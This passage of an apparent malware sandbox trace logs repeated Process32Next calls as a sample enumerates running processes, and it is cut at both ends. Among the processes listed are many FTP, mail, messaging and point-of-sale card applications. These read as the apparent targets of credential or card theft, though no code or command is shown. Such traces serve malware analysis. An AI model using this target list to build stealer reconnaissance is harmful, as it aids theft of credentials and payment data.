hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.757] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.758] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.760] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.761] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.762] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0254.764] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0254.765] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0254.767] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.768] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0254.770] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0254.771] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0254.772] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0254.774] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.775] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0254.777] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0254.778] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0254.780] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0254.781] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0254.783] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0254.785] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0254.786] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0254.788] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0254.789] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0254.791] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0254.792] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0254.794] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0254.795] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0254.834] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0254.836] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0254.838] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0254.840] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0254.842] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0254.844] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0254.845] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0254.869] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0254.871] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0254.872] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0254.874] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0254.876] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0254.881] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0254.883] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0254.885] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0254.887] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0254.890] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0254.892] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0255.005] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0255.007] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0255.009] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0255.010] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0255.012] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0255.014] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0255.016] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0255.017] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0255.019] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0255.021] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0255.023] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0255.024] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0255.026] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0255.027] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0255.029] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0255.031] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0255.032] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0255.034] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0255.037] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0255.038] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0255.040] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0255.042] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0255.043] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0255.045] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0255.046] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0255.048] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0255.049] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0255.109] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0255.111] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0255.113] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0255.115] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0255.116] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0255.118] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0255.119] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0255.121] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0255.123] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0255.124] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0255.126] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, 